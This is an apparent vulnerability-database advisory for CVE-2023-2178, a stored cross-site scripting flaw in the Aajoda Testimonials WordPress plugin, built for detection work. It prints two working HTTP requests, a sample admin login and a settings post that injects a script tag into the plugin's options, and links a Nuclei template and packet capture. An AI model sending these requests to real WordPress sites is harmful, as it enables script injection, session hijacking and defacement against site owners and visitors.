🔙 목록으로 돌아가기

CVE-2023-2178: Aajoda Testimonials < 2.2.2 - Cross-Site Scripting

TitleAajoda Testimonials < 2.2.2 - Cross-Site Scripting
AuthorFarish
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpdate Aajoda Testimonials plugin to version 2.2.2 or later to mitigate the vulnerability.
CVSS Score4.8
EPSS Score0.02873
CVE IDCVE-2023-2178
CWE IDCWE-79
Tags cve2023 cve wpscan wordpress wp wp-plugin xss authenticated aajoda vuln

🔍 Vulnerability Description

The plugin does not sanitize and escape some of its settings, which could allow high-privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=kY7l3z&pwd=8omCts&wp-submit=Log+In
POST /wp-admin/options-general.php?page=aajoda-testimonials HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Content-Length: 181
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

aajodatestimonials_opt_hidden=Y&aajoda_version=2.0&aajodatestimonials_code=%22%3E%3C%2Ftextarea%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%0D%0A%0D%0A%0D%0A&Submit=Save

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2178.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-2178.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A